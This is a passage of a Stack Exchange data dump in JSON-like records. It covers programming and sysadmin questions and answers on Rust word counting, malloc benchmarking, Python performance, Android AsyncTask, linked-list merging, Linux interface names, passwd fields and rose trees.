just the way things are. I mean, I know as a systems language, it's really hard to make vectors and strings. And they tell me I will learn to love the borrow checker. :) Hopefully someone with expertise in idiomatic Rust can be of service here. I'm not expecting it to be as short as the Julia code but I do fear my Rust is not idiomatic enough."  , "title": "Idiomatic word counting in Rust"  , "tags": "regex;file;dictionary;rust"  , "accepted_answer": "There is no proper dictionary, there are just different trade-offs. In this case, we have that HashMap gives us better asymptotic random access whereas BTreeMap gives us sortedness.Sorting the a HashMap after-the-fact is well and good, but BTreeMap is already sorted so it seems like the better choice.Rust very heavily gives tasks out to crates. This is guided by RFC 1242, and you might notice regex is in rust-lang-nursery. This means it is official and it is standard rust; it's just not in the standard library.Plus, it's as easy as adding regex = 0.1 to your Cargo.toml, so that's no reason to avoid it.Ignoring that, thatlet words = line.to_lowercase().split(...) doesn't work is just a fact of life right now, although that will eventually get fixed with non-lexical lifetimes.These importsuse std::io;use std::io::BufRead;are nicer asuse std::io::{self, BufRead};The large matchmatch line_result {    Ok(line) => {        ...    },    Err(e) => {        panic!(Error parsing stdin: {:?}, e);    }}would be nicer aslet line = match line_result {    Ok(line) => line,    Err(e) => panic!(Error parsing stdin: {:?}, e),};...or evenlet line = line_result.unwrap_or_else(    |e| panic!(Error parsing stdin: {:?}, e));But in this case the error handling doesn't add anything, so I'd just unwrap. All of these examples panic; a method that doesn't would involve error handling by printing and then returning from the function. Printing is normally worse to debug (no tracebacks) but nicer for end-users.Instead of*(counts.entry(word.to_string()).or_insert(0)) += 1;which always allocates a new String, one can index with a borrowed &str. Sadly this isn't supported by the entry API right now, but you can hack around it:if let Some(count) = counts.get_mut(word) {    *count += 1;    continue;}counts.insert(word.into(), 1);Note the use of if let/continue instead of match is because of lexical lifetimes.Since this is currently pretty ugly and the speedup probably doesn't matter, I'll leave this as a hypothetical. You say you don't like the asterisk, but that's kind'a how it's meant to be done. I guess you could go the Julia route (get + unwrap_or + insert), but that's not really better.After a few miscellaneous changes, the code for me looks likeextern crate regex;use std::collections::BTreeMap;use std::io::{self, BufRead};use regex::Regex;fn main() {    let word_re = Regex::new(r[a-z']+).unwrap();    let mut counts: BTreeMap<String, isize> = BTreeMap::new();    let stdin = io::stdin();    for line in stdin.lock().lines() {        let line = line.unwrap().to_lowercase();        let matches = word_re.find_iter(&line);        let words = matches.map(|(x, y)| &line[x..y]);        for word in words {            *counts.entry(word.into()).or_insert(0) += 1;        }    }    for (key, value) in counts.iter() {        println!({} {}, key, value);    }}This isn't as nice as the Julia code, but it's giving you a lot of opportunities to be a lot more efficient, and it's catching a lot more errors. It's true that locking stdin feels like a chore on 50-line examples, but it fits Rust's macro-goals of faster, safer APIs."  } 
{  "id": "_webmaster.85083"  , "question": "I have a situation for which the standard canonical prev / next doesn't seem applicable.On the first page, I have a form which collects information from the user. After the form is submitted, the site then generates 5 pages of data based upon that initial form-page input.The standard canonical approach of using prev/next to indicate sequential pages is not actually what I need.  What I need is a canonical indication that all pages require that starting page.  Or does one set the prev value on all pages to page 1?Currently I redirect all subsequent pages back to the initial form page if they don't have the required GET data passed in the URL string.  I would think that solves the issue, but Webmaster Tools still tells me I have duplicate meta content on the 5 results pages.  Is this a case for prev next?  ie:  Page 5 doesn't follow page 4 at all if page 1 hasn't yet been submitted.How do I best tag these results pages to indicate that they are dependent on the starting form page?"  , "title": "Canonical tag for pages requiring a starting form"  , "tags": "seo;best practices;canonical url"  } 
{  "id": "_webmaster.5091"  , "question": "Trying to create folders for links where the parent has no content, it's just a folder. Need to be able to insert #, but Drupal is saying it's not a link. Just want the user to click it and nothing happen, the child of that menu item will already be being displayed without a click.Version: Drupal 6 (appears  worked in D5)I've attempted the following: '', #, <#>, empty, <empty>, null, <null>, blank, <blank>, <none>, none, <answer> ...just kidding.ERROR: The path '<insert_non-url>' is either invalid or you do not have access to it.Question, just ask -- thanks!"  , "title": "How do you create links with a NULL or # in Drupal?"  , "tags": "drupal"  , "accepted_answer": "I always use the Special Menu Items module, which allows you to enter nolink as path. A 'nolink' menu item will render as a normal menu item without <a> tag, but you can style it differently if needed."  } 
{  "id": "_unix.306327"  , "question": "I have to run script in one Terminal (Server) and jar file in Second Terminal (User) at same time and millisec matters. Is it Possible. Thanks"  , "title": "Two commands to run simultaneously in two terminals"  , "tags": "linux;terminal"  } 
{  "id": "_codereview.128807"  , "question": "Can you help me verify my test result? I'm testing different malloc() implementations with a small program that allocates gigabytes many times:int main(int agrc, char **argv) {    int i;    for (i = 0; i < 1000000; i++) {        void *p = malloc(1024 * 1024 * 1024);        free(p);    }    return (0);}If I run it and time it, then it takes 5 seconds:$ time ./gig real  0m5.140suser  0m0.384ssys   0m4.752sNow I try my custom malloc() with exactly the same program and it seems unreasonable faster.$ time ./gb_quickfitreal  0m0.045suser  0m0.044ssys   0m0.000sWhy is the custom malloc() so much faster? I used the quick malloc() algorithm. void *malloc_quick(size_t nbytes) /* number of bytes of memory to allocate */{    Header *moreroce(unsigned);    int index, i;    index = qindex(nbytes);    /*      * Use another strategy for too large allocations. We want the allocation     * to be quick, so use malloc_first().     */    if (index >= NRQUICKLISTS) {        return malloc_first(nbytes);    }    /* Initialize the quick fit lists if this is the first run. */    if (first_run) {        for (i = 0; i < NRQUICKLISTS; ++i) {            quick_fit_lists[i] = NULL;        }        first_run = false;    }    /*     * If the quick fit list pointer is NULL, then there are no free memory     * blocks present, so we will have to create some before continuing.     */    if (quick_fit_lists[index] == NULL) {        Header* new_quick_fit_list = init_quick_fit_list(index);        if (new_quick_fit_list == NULL) {            return NULL;        } else {            quick_fit_lists[index] = new_quick_fit_list;        }    }    /*     * Now that we know there is at least one free quick fit memory block,     * let's use return that and also update the quick fit list pointer so that     * it points to the next in the list.     */    void* pointer_to_return = (void *)(quick_fit_lists[index] + 1);    quick_fit_lists[index] = quick_fit_lists[index]->s.ptr;   /* printf(Time taken %d seconds %d milliseconds, msec/1000, msec%1000);*/    return pointer_to_return;}I'm sure there is a catch because I don't have much experience in this detailed level of C. Why are the results so different? Does the system malloc() only have one algorithm?Can I be sure that the test is correct? If I run Valgrind with the test, it reports no error . I try again run the test, check with Valgrind that the test doesn't generate error with Valgrind and get the result again$ time ./gb_quickfit real    0m0.759suser    0m0.584ssys 0m0.172sdac@dac-Latitude-E7450:~/ClionProjects/omalloc/openmalloc/overhead$ time ./a.out real    0m0.826suser    0m0.644ssys 0m0.180sNow the result is more reasonable, my custom malloc is only slightly faster. The reason I got so large difference first time might have been of errors in the test allocating too much. The second test looks like:/* returns an array of arrays of char*, all of which NULL */char ***alloc_matrix(unsigned rows, unsigned columns) {    char ***matrix = malloc(rows * sizeof(char **));    unsigned row = 0;    unsigned column = 0;    if (!matrix) abort();    for (row = 0; row < rows; row++) {        matrix[row] = calloc(columns, sizeof(char *));        if (!matrix[row]) abort();        for (column = 0; column < columns; column++) {            matrix[row][column] = NULL;        }    }    return matrix;}/* deallocates an array of arrays of char*, calling free() on each */void free_matrix(char ***matrix, unsigned rows, unsigned columns) {    unsigned row = 0;    unsigned column = 0;    for (row = 0; row < rows; row++) {        for (column = 0; column < columns; column++) {            /*    printf(column %d row %d\\n, column, row);*/            free(matrix[row][column]);        }        free(matrix[row]);    }    free(matrix);}int main(int agrc, char **argv) {    /* int i;    for (i = 0; i < 1000000; i++) {        void *p = malloc(1024 * 1024 * 1024);        free(p);    }*/    int x = 10000;    char *** matrix = alloc_matrix(x, x);    free_matrix(matrix, x, x);    return (0);}"  , "title": "Testing different implementations of malloc()"  , "tags": "c;memory management;benchmarking"  , "accepted_answer": "It's very possible that the memory is not really being allocated in RAM, but is in the virtual address space. I couldn't guess why your implementation causes this, but if you keep the memory allocated and sleep, you may find (assuming your on Linux, I don't know about Windows) that the memory is allocated but not backed by anything till you use it, due to the size."  } 
{  "id": "_codereview.141187"  , "question": "I've got a basic python function that I've been tasked with finishing in a class. It's already fulfilling all the requirements for an A as it's an introductory course to Python, but I'd like to get some advice on it still as it's taking quite some time to execute. I've got a few years of experience with general programming, but I'm still quite new to Python. As such any sort of advice on what might be taking up time would be appreciated.As it stands at the moment, it takes about .5 seconds to run through the code and print all the data.A bit of detail to the program:It reads three files:A part of Alice in the Wonderland's first chapter (alice-ch1.txt)A list of common words (common-words.txt)And a list of correctly spelt words.Finally it prints the top 7 words that have passed through the filters.def analyse():    #import listdir    from os import listdir    #import counter    from collections import Counter    files = *************************************\\n    for file in listdir():        if file.endswith('.txt'):            files = files + file + \\n    choice = input(These are the files: \\n + files + *************************************\\nWhat file would you like to analyse?\\n)    if choice.strip() == :        choice = alice-ch1.txt    elif choice.endswith(.txt):        print(choice)    else:        choice = choice + .txt    print(choice)    with open(choice) as readFile, open('common-words.txt') as common, open('words.txt') as correct:        correct_words = correct.readlines()        common_words = common.readlines()        common_words = list(map(lambda s: s.strip(), common_words))        correct_words = list(map(lambda s: s.strip(), correct_words))        words = [word for line in readFile for word in line.split()]        for word in list(words):            if word in common_words or not word in correct_words:                words.remove(word)        print(There are  + str(len(words)))        c = Counter(words)        #for word, count in c.most_common():        #    print (word, count)        nNumbers = list(c.most_common(7))        out =         print(*************************************\\nThese are the 7 most common:)        for word, count in nNumbers:                out = out + word + , + str(count) + \\n        print(out + \\n*************************************)    input(\\nPress enter to continue...)"  , "title": "Given some text and a word list, print the 7 most common correctly spelled words"  , "tags": "python;performance;beginner;strings;file"  , "accepted_answer": "List ComprehensionI'm not at all sure it'll run much faster (though it might--it's a little faster under Python 2.7, anyway), but I think a more Pythonesque approach would be to replace your loop:    for word in list(words):        if word in common_words or not word in correct_words:            words.remove(word)... with a list comprehension, something like:words = [word for word in words if not word in common_words and word in correct_words]AlgorithmTo gain substantial speed, you probably want to rearrange your operations. Right now you're looking at each word in the input separately (and looking at all of them). Then, after you've found all the words that aren't common and are spelled correctly, you choose the 7 most common.I'd reverse that: start by creating a Counter of all the input words. Then print those filtering words that are common or aren't spelled correctly. When you've printed seven of them, stop:    words = [ word for line in readFile for word in line.split() ]    c = Counter(words)    counter = 0    for word, count in c.most_common():        if not word in common_words and word in correct_words:           print word + ,   + str(count)           counter = counter + 1           if counter == 7:               break;You could simplify that inner loop a little by by doing a little preprocessing. Instead of testing against both the common and correctly spelled lists, you could start by removing all the common words from the correctly spelled list, to get a single list of the words that are acceptable. Then when you're printing out your results, you'd check only against that one list. Given the sizes of the lists, this would be a win primarily if you did it once and saved the result so you can re-use it. If you re-did the preprocessing every time you ran the program, you'd probably use more time on the preprocessing than you'd save on the output loop.There's probably more than can be done to make this neater as well, but nothing occurs to me immediately. At least for me in a quick test, this seems to run around ten to fifteen (or so) times as fast as the code in the question. The exact difference in speed will probably depend (heavily) on the size of input file though. In particular, I believe this is changing from \\$O(N^2)\\$ complexity to an expected complexity around \\$O(N)\\$1.As an aside, I did consider (and test with) using a set instead of a list for common_words and correct_words, but at least in my testing, with the updated algorithm this didn't seem to make a difference that I could replicate dependably. With the original algorithm, however, changing these from list to set can improve performance considerably.LogicAs it stands right now, your if/then chain:if choice.strip() == :    choice = alice-ch1.txtelif choice.endswith(.txt):    print(choice)else:    choice = choice + .txtprint(choice)... prints out choice twice if it starts out ending with .txt. I suspect you really want something closer to:if choice.strip() == :    choice = alice-ch1.txtelif not choice.endswith(.txt)    choice = choice + .txtprint(choice)Magic numberIt would probably be better to use something on the order of:mostCommonLimit = 7# ...if counter == mostCommonLimit    break;If you want to get technical, it probably is still \\$O(N^2)\\$. The Counter presumably uses a hash table, which is \\$O(1)\\$ expected complexity, but can be \\$O(N)\\$ in the worst case (where all keys produce equivalent hashes). This is, however, so rare that in practice it's often ignored."  } 
{  "id": "_webapps.28694"  , "question": "I accidentally created two Facebook accounts.  I want to migrate to one account only, but continuously get friend requests on the account I don't want to use.  If I could configure an auto-response for all friend requests, telling the requestor to please redirect their request to the other account, I could safely begin ignoring the old one.  "  , "title": "Can I setup an auto-response for all friend requests?"  , "tags": "facebook"  } 
{  "id": "_codereview.5191"  , "question": "As I was trying to demystify the Android AsyncTask functionalities, I wrote this sample app to test it. Please review my code and suggest possible improvements:public class AsyncTaskExampleActivity extends Activity implements OnClickListener{    private Boolean success = true;    private static AsyncTaskExampleActivity MainActivityInstance;    private CallBack c;    ProgressDialog progressDialog;    Button startAsyncTask;    MyAsyncTask aTask;    Button cancelAsyncTask;    /** Called when the activity is first created. */    @Override    public void onCreate(Bundle savedInstanceState) {        super.onCreate(savedInstanceState);        setContentView(R.layout.main);        startAsyncTask = (Button)findViewById(R.id.button1);        cancelAsyncTask = (Button)findViewById(R.id.button2);        startAsyncTask.setOnClickListener(this);        cancelAsyncTask.setOnClickListener(this);        MainActivityInstance = this;        //ProgressDialog progressDialog;        progressDialog = new ProgressDialog(this.getApplicationContext());        progressDialog.setProgressStyle(ProgressDialog.STYLE_HORIZONTAL);        progressDialog.setMessage(On Progress...);        progressDialog.setCancelable(false);        c = new CallBack() {            public void onProgress(){                //progressDialog.show();                Toast toast = Toast.makeText(getMainActivity().getApplicationContext(), Progress!!, 1000);                toast.show();            }            public void onResult(Boolean result){                if(result.equals(true)){                    Toast toast = Toast.makeText(getMainActivity().getApplicationContext(), Bingo...Success!!, 1000);                    toast.show();                }                else {                    Toast toast = Toast.makeText(getMainActivity().getApplicationContext(), Alas!! Failure, 1000);                    toast.show();                }            }            public void onCancel(Boolean result){                Toast toast = Toast.makeText(getMainActivity().getApplicationContext(), Cancelled, 1000);                toast.show();            }        };        aTask = new MyAsyncTask(c);    }       static AsyncTaskExampleActivity getMainActivity(){        return MainActivityInstance;    }    public Boolean getSuccessOrFailureResult(){        return success;    }    public void onClick(View v){        if(v.equals(startAsyncTask)){            aTask.execute(Start);        }        if(v.equals(cancelAsyncTask)){            aTask.cancel(true);        }    }}public class MyAsyncTask extends AsyncTask<String, Integer, Boolean> {    private CallBack cb;    Boolean running = true;    MyAsyncTask(CallBack cb){        this.cb = cb;    }    protected Boolean doInBackground(String... params){            while(running){                       if(isCancelled()){                   break;                     }                try{                    for (int i = 0; i<5; i++){                                        if(isCancelled()){                                    break;                                      }                        Thread.sleep(10000,0);                        publishProgress();                    }                }                    catch(InterruptedException e){                        return false;                    }                           return true;        }        return false;    }    protected void onProgressUpdate(Integer... progress){        cb.onProgress();    }    protected void onPostExecute(Boolean result){        cb.onResult(result);    }    protected void onCancelled(){        running = false;        cb.onCancel(true);    }}public interface CallBack {    public void onProgress();    public void onResult(Boolean result);    public void onCancel(Boolean result);}"  , "title": "AsynTask example"  , "tags": "java;android;asynchronous"  } 
{  "id": "_unix.82919"  , "question": "What do the Linux interface names mean? eth0eth1wlan0My current assumption is that when we are connected to the Internet via LAN cable it's eth0 or eth1 and when we are connected with internet via WiFi it's wlan0."  , "title": "What does the eth0 interface name mean in Linux?"  , "tags": "linux;networking"  , "accepted_answer": "Your assumption is correct.The names however can be set/chosen by the user or the operating system that you are using. eth0 and eth1 is used because it's more intuitive than choosing an arbitrary name because LAN cable connection, like you said is Ethernet (hence the eth in eth0, eth1). Similarly when you connect to WiFi, it's WirelessLAN (hence the wlan in wlan0)."  } 
{  "id": "_softwareengineering.324082"  , "question": "I am programmer with 1 year experience, recently I realized I seldom start a project correctly (most of my side project), normally the project cycle goes likeStart with a few use-casesStart codingRealize a few things I did not handle well, and does not fit well in current codebase.Rewrite most part of codeand this might go a few timesSo my questions areIs such practice common, or it implies I am not competent?How can I improve myself on this aspect?"  , "title": "How can I get things right at the beginning of a software project?"  , "tags": "programming practices;development process"  , "accepted_answer": "The cycle you describe is normal. The way to improve things is not to avoid this cycle, but to streamline it. The first step is to accept that:It's near impossible to know everything on day one of a project.Even if you do somehow know everything, by the time you've finished the project then something (the client's requirements, the market they're in, the tech you're working with, their customers' wishes) will have changed and made at least part of what you knew invalid or incorrect.Therefore, it's impossible to plan everything up front, and even if you could, following that plan would lead you to build something imperfect or obsolete. Knowing this, we integrate change into our planning. Let's look at your steps:Start with a few use-casesStart codingRealize a few things I did not handle well, and does not fit well in current codebase.Rewrite most part of codeThat's actually a great starting point. Here's how I'd approach it:1. Start with a few use-casesGood. By saying use cases, you're focusing on what the software is for. By saying a few, you're not trying to discover everything; you're sticking to a manageable amount of work. All I'd add here is to prioritise them. With your client or end user, work out the answer to this question:What is the smallest, simplest piece of software I could give you that would improve your situation?This is your minimum viable product - anything smaller than this isn't helpful to your user, but anything bigger risks planning too much too soon. Get enough information to build this, then move on. Be mindful that you won't know everything at this point.2. Start coding.Great. You get working as soon as possible. Until you've written code, your clients have received zero benefit. The more time you spend planning, the longer the client has spent waiting with no payback.Here, I'd add a reminder to write good code. Remember and follow the SOLID Principles, write decent unit tests around anything fragile or complex, make notes on anything you're likely to forget or that might cause problems later. You want to be structuring your code so that change won't cause problems. To do this, every time you make a decision to build something this way instead of that way, you structure your code so that as little code as possible is affected by that decision.  In general, a good way to do this is to separate your code:use simple, discrete components (depending on your language and situation, this component might be a function, a class, an assembly, a module, a service, etc. You might also have a large component that is built out of smaller ones, like a class with lots of functions, or an assembly with lots of classes.)each component does one job, or jobs relating to one thingchanges to the way one component does its internal workings should not cause other components to have to changecomponents should be given things they use or depend on, rather than fetching or creating themcomponents should give information to other components and ask them to do work, rather than fetching information and doing the work themselvescomponents should not access, use, or depend upon the inner workings of other components - only use their publicly-accessible functionsBy doing this, you're isolating the effects of a change so that in most cases, you can fix a problem in one place, and the rest of your code doesn't notice.3. Encounter issues or shortcomings in the design.This will happen. It is unavoidable. Accept this. When you hit one of these problems, decide what sort of problem it is.Some problems are issues in your code or design that make it hard to do what the software should do. For these problems, you need to go back and alter your design to fix the problem.Some problems are caused by not having enough information, or by having something that you didn't think of before. For these problems, you need to go back to your user or client, and ask them how they'd like to address the issue. When you have the answer, you then go and update your design to handle it.In both cases, you should be paying attention to what parts of your code had to change, and as you write more code, you should be thinking about which parts may have to change in the future. This makes it easier to work out what parts might be too interlinked, and what parts might need to be more isolated.4. Rewrite part of the codeOnce you've identified how you need to change the code, you can go and make the change. If you've structured your code well, then this will usually involve changing only one component, but in some cases it might involve adding some components as well. If you find that you're having to change a lot of things in a lot of places, then think about why that is. Could you add a component that keeps all of this code inside itself, and then have all these places just use that component? If you can, do so, and next time you have to change this feature you'll be able to do it in one place.5. TestA common cause of issues in software is not knowing the requirements well enough. This is often not the developers' fault - often, the user isn't sure what they need either. The easiest way to solve this is to reverse the question. Instead of asking what do you need the software to do?, each time you go through these steps, give the user what you've built so far and ask them I built this - does it do what you need?. If they say yes, then you've built something that solves their problem, and you can stop working! If they say no, then they'll be able to tell you in more specific terms what's wrong with your software, and you can go improve that specific thing and come back for more feedback.6. LearnAs you go through this cycle, pay attention to the problems you're finding and the changes you're making. Are there patterns? Can you improve?Some examples:If you keep finding you've overlooked a certain user's viewpoint, could you get that user to be more involved in the design phase?If you keep having to change things to be compatible with a technology, could you build something to interface between your code and that technology so you only have to change the interface?If the user keeps changing their mind about words, colours, pictures or other things in the UI, could you build a component that provides to the rest of the application those so that they're all in one place?If you find that a lot of your changes are in the same component, are you sure that component is sticking to just one job? Could you divide it into a few smaller pieces? Can you change this component without having to touch any others?Be AgileWhat you're moving towards here is a style of working known as Agile. Agile isn't a methodology, it's a family of methodologies incorporating a whole load of things (Scrum, XP, Kanban, to name a few) but the thing they all have in common is the idea that things change, and as software developers we should plan to adapt to changes rather than avoiding or ignoring them. Some of its core principles - in particular, the ones that are relevant to your situation - are the following:Don't plan further ahead than you can predict with confidenceMake allowances for things to change as you goRather than building something big in one go, build something small and then incrementally improve itKeep the end user involved in the process, and get prompt, regular feedbackExamine your own work and progress, and learn from your mistakes"  } 
{  "id": "_unix.230621"  , "question": "I'm trying to submit a job on a cluster via qsub, but it gets stuck in state Eqw with error message:$ qstat -j 466 | grep errorerror reason    1:          09/18/2015 17:12:32 [1125:3453]: error: can't chdir to /export/home/rafaelmf: No such file or directI'm just using a test.sh script with echo Hello World output so I can try adding or removing options like -cwd, -j, -o.But nothing works.qstat also shows:sge_o_home: /export/home/rafaelmfsge_o_workdir: /state/partition1/home/rafaelmfand I know export is a link to state/partition1/.Also, I don't have root access, and all is done with ssh.So, does anyone know how to deal with such error (without sudo)?"  , "title": "qsub job in state Eqw error: can't chdir to directory: No such file or directory"  , "tags": "cluster;batch jobs;cluster ssh"  } 
{  "id": "_unix.331542"  , "question": "I have an absolute minimal Linux system that I have built myself.Next step in getting it to some sort of functional state is to install a working package manager i.e. apt-getHow can I install apt-get and get it configured with all the right setup and directories, given that I have no package manager already on the system?thanks"  , "title": "How to install apt-get from scratch on a minimal system?"  , "tags": "apt"  } 
{  "id": "_unix.28568"  , "question": "In the /etc/passwd file on my system, the comment field, field 5, is inconsistent in its contents.  I thought that I could extract it to get the full name of the user.fullname=`awk -F: '$1 == name {print $5}' name=$LOGNAME /etc/passwd`However this returns with $fullname containing a name with 0, 3, or 4 commas following.  Exploring the man page (man 5 passwd) provides no details of this field other than describing it as user name or comment field.Perhaps there is additional information that is stored along with the user name?"  , "title": "Where can I find a reference to the format of the comment field (field 5) of the /etc/passwd file?"  , "tags": "files;users;password"  , "accepted_answer": "This field is often formatted as a GECOS field, which typically has 4 comma-separated fields for extra information in addition to the user's name, such as phone number, building number, etc.In all cases I have seen, if the field has a comma, the name is what is before the comma. But I can imagine cases where this is not the case (a name of Foo Bar, Jr would break, for instance)."  } 
{  "id": "_softwareengineering.345414"  , "question": "I have an API which is basically comprised of two parts: 1. A TensorFlow neural net that provides predictions based on input image (mainly GPU computations) and 2. Post processing on those predictions (mainly CPU)This is kind of a best practices/recommendation question. What I am wondering is if these two sections of the application should be decoupled, placed in separate Docker containers and scaled separately. There is no other use for the TensorFlow predictions (no other apps would want to receive predictions directly so there is no need for decoupling in terms of accessibility).The only scenario I can think of that would warrant decoupling is if the Post-Processing consumed a large amount of CPU resources that forced the application to scale when the GPU was being underutilized (the prediction part of the app was handling the load just fine) and by forcing the application to scale we are using more GPU resources than necessary.However as long as sufficient CPU resources can be allocated to the server so that the point at which the app scales is a point of high utilization on both the CPU and GPU I would see no reason why the services should be decoupled.Hopefully this makes sense - any suggestions?"  , "title": "Should TensorFlow prediction be decoupled from post-processing?"  , "tags": "architecture;backend"  } 
{  "id": "_webmaster.43874"  , "question": "I'm working on a fairly large site, that generates a dynamic sitemap hourly. Now in Google Webmaster Tools the sitemap isn't submitted yet and I'm shying away because I'm afraid that the new content (which appears in the dynamic sitemap) won't get crawled as quickly. So my question is: How often do the GWT check the sitemap once submitted?Any other thing I should be aware of when working with GWT and dynamic pages?P.S. I checked this thread How often are sitemap.xml checked for updates by crawlers? and from what I understand Google crawls more often when the site gets updated regularly - but does the same apply for the GWT?"  , "title": "How often does GWT check dynamic sitemaps?"  , "tags": "seo;google search console;sitemap"  } 
{  "id": "_unix.292162"  , "question": "How can I install an iso from a portable hard drive?The guides that I have seen require using grub2 on the local drive to load the iso on the portable drive.I would like to boot from the portable drive. I prefer methods that are automated or elegant.I could perform the actions form Windows 10 or Cinnamon.Edit: The portable drive must boot in UEFI and BIOS. And I'd like to leave one ntfs partition on the hard drive for shuttling data. Currently, I'm trying to work off of https://wiki.archlinux.org/index.php/Multiboot_USB_drive. But I'm having some trouble figuring out how to incorporate uuin into the grub.cfg."  , "title": "Easy-ish Grub2 loading of iso FROM a portable hard drive"  , "tags": "linux mint;system installation;grub2;iso;external hdd"  } 
{  "id": "_cs.14826"  , "question": "Scott Meyers describes here that traversing a symmetric matrix row-wise performes significantly better over traversing it column-wise - which is also significantly counter-intuitive. The reasoning is connected with how the CPU-caches are utilized. But I do not really understand the explanation and I would like to get it because I think it is relevant to me.Is it possible to put it in more simple terms for somebody not holding a PhD in computer architecture and lacking experience in hardware-level programming?"  , "title": "Performance of row- vs. column-wise matrix traversal"  , "tags": "cpu cache;performance"  , "accepted_answer": "In today's standard architectures, the cache uses what is called spatial-locality. This is the intuitive idea that if you call some cell in the memory, it is likely that you will want to read cells that are close by. Indeed, this is what happens when you read 1D arrays.Now, consider how a matrix is represented in the memory: a 2D matrix is simply encoded as a 1D array, row by row. For example, the matrix $\\left(\\begin{array}{ll} 2, 3 \\\\4, 5\\end{array}\\right)$ is represented as $2,3,4,5$.When you start reading the matrix in cell $(0,0)$, the CPU automatically caches the cells that are close by, which start by the first row (and if there is enough cache, may also go to the next row, etc). If your algorithm works row-by-row, then the next call will be to an element still in this row, which is cached, so you will get a fast response. If, however, you call an element in a different row (albeit in the same column), you are more likely to get a cache miss, and you will need to fetch the correct cell from a higher memory."  } 
{  "id": "_softwareengineering.311585"  , "question": "We have built a complex Angular application that sends multiple HTTP request to a REST service that is also built in house. Since both the frontend and the backend is being developed in parallel, bugs can happen in either side. It could be a bug in the REST service, or it can be a problem with the HTTP Request generated from the front-end. When a bug has been reported, it's important to identify where the error occurs. There are specific structures for each of the requests. The data models are mostly populated when the users give inputs in a form or a directiveHow do we approach testing these HTTP requests? Can we only rely on unit tests?  Can the testing be done with dummy data that produces a pre-defined JSON object? Or should integration tests be done with the actual data?And by which ever method we pick, how do we identify where the error lies when there is a bug? "  , "title": "How and where to test if the JSON request objects generated by the front-end is valid"  , "tags": "javascript;unit testing;testing;angularjs;integration tests"  } 
{  "id": "_codereview.123346"  , "question": "Problem from hackerrank:Youre given the pointer to the head nodes of two sorted linked lists.  The data in both lists will be sorted in ascending order. Change the  next pointers to obtain a single, merged linked list which also has  data in ascending order. Either head pointer given may be null meaning  that the corresponding list is empty.Input FormatYou have to complete the Node* MergeLists(Node* headA,  Node* headB) method which takes two arguments - the heads of the two  sorted linked lists to merge. You should NOT read any input from  stdin/console.Output FormatChange the next pointer of individual nodes so that  nodes from both lists are merged into a single list. Then return the  head of this merged list. Do NOT print anything to stdout/console.Sample Input1 -> 3 -> 5 -> 6 -> NULL2 -> 4 -> 7 -> NULL15 -> NULL12 -> NULLNULL 1 -> 2 -> NULLSample Output1 -> 2 -> 3 -> 4 -> 5 -> 6 -> 712 -> 15 -> NULL1 -> 2 -> NULL/*Merge two sorted lists A and B as one linked listNode is defined as struct Node{ int data; struct Node *next;}*/Node* MergeLists(Node *headA, Node* headB){// This is a method-only submission. // You only need to complete this method if(headA == NULL)  return headB;if(headB == NULL)  return headA;Node* temp1;Node* temp2;Node* originalHead;Node* head = new Node;head->data = 0;head->next = 0;//temp1 should always point to head with smaller valueif(headA->data <= headB->data){  temp1 = headA;  originalHead = headA;  temp2 = headB;}else{   originalHead = headB;  temp1 = headB;  temp2 = headA;}while(temp1 != 0 && temp2 != 0){    if(temp1->data <= temp2->data){        head->next = temp1;        head = temp1;        if(temp1->next != NULL)            temp1 = temp1->next;               else{            head->next = temp2;            break;        }    }    else{        head->next = temp2;        head = temp2;        if(temp2->next != NULL)            temp2 = temp2->next;        else{            head->next = temp1;            break;        }    }}return originalHead;}"  , "title": "Merging sorted linked lists - C++"  , "tags": "c++;algorithm;programming challenge;linked list"  , "accepted_answer": "SimplifyIn this loop, the loop condition is practically useless:while(temp1 != 0 && temp2 != 0){    if(temp1->data <= temp2->data){        head->next = temp1;        head = temp1;        if(temp1->next != NULL)            temp1 = temp1->next;               else{            head->next = temp2;            break;        }    }    else{        head->next = temp2;        head = temp2;        if(temp2->next != NULL)            temp2 = temp2->next;        else{            head->next = temp1;            break;        }    }}The statements before the loop have already checked that temp1 and temp2 are not null. So the condition will be true for the first time.Then in each cycle, you check if the next value of temp1 or temp2 will be null and if yes then break out. So you could as well change the loop condition to while (true), and the program will still work.But instead of doing that,it would be simpler to move those checks out of the loop body,and let the loop condition be useful:do {    if (temp1->data <= temp2->data) {        head->next = temp1;        head = temp1;        temp1 = temp1->next;           } else {        head->next = temp2;        head = temp2;        temp2 = temp2->next;    }} while (temp1 != NULL && temp2 != NULL);head->next = temp1 != NULL ? temp1 : temp2;Taking it one step further, head can be updated outside of the if-else, like this:do {    if (temp1->data <= temp2->data) {        head->next = temp1;        temp1 = temp1->next;           } else {        head->next = temp2;        temp2 = temp2->next;    }    head = head->next;} while (temp1 != NULL && temp2 != NULL);head->next = temp1 != NULL ? temp1 : temp2;You have this comment://temp1 should always point to head with smaller valueNope, not really! This would work just as well:if(headA->data <= headB->data) {  originalHead = headA;} else {   originalHead = headB;}temp1 = headA;temp2 = headB;Memory managementYou created a new Node for head, but you forgot to delete it.Suggested implementationSome further simplifications and improvements are possible:No need to check if one of the heads are null. It's possible to rewrite using a dummy a node to handle such cases naturally without special treatmentThe variable names can be improvedImplementation:Node* MergeLists(Node *headA, Node* headB){    Node *dummy = new Node();    Node *node = dummy;    Node *nodeA = headA;    Node *nodeB = headB;    while (nodeA != NULL && nodeB != NULL) {        if (nodeA->data <= nodeB->data) {            node->next = nodeA;            nodeA = nodeA->next;        } else {            node->next = nodeB;            nodeB = nodeB->next;        }        node = node->next;    }    node->next = nodeA != NULL ? nodeA : nodeB;    Node *head = dummy->next;    delete dummy;    return head;}"  } 
{  "id": "_cs.56081"  , "question": "I recently found out about the Rose tree data structure, but just going off of a Haskell data definition and the tiny Wikipedia description of it, I've got some trouble understanding what applications a Rose tree might have.For reference, the Haskell data definition:data RoseTree = RoseTree a [RoseTree a]For those unfamiliar with Haskell -- it's a recursive data type definition with an arbitrary type a, where the type constructor is provided with a literal of type a followed by an optionally empty list of type RoseTree on the same type a.The way I see it:This data structure is unordered by default (although I assume most practical applications do implement some form of ordering for searching)The data structure doesn't enforce a fixed number of nodes per layer at any point, except the global root, which must have a single nodeGiven that minimal amount of information, I'm having trouble figuring out when one might use this type of tree.In addition to the question in the title, if search is indeed implemented in most applications of a Rose tree, how is this done?"  , "title": "What are the applications of Rose trees?"  , "tags": "trees"  , "accepted_answer": "You seem to have an overly data structures and algorithms mindset.  Not every tree is some kind of search tree.  Data structures are often designed to correspond to or capture aspects of a domain model.S-expressions are almost exactly rose trees. (Or rather, I would say how they are typically thought of is as rose trees.  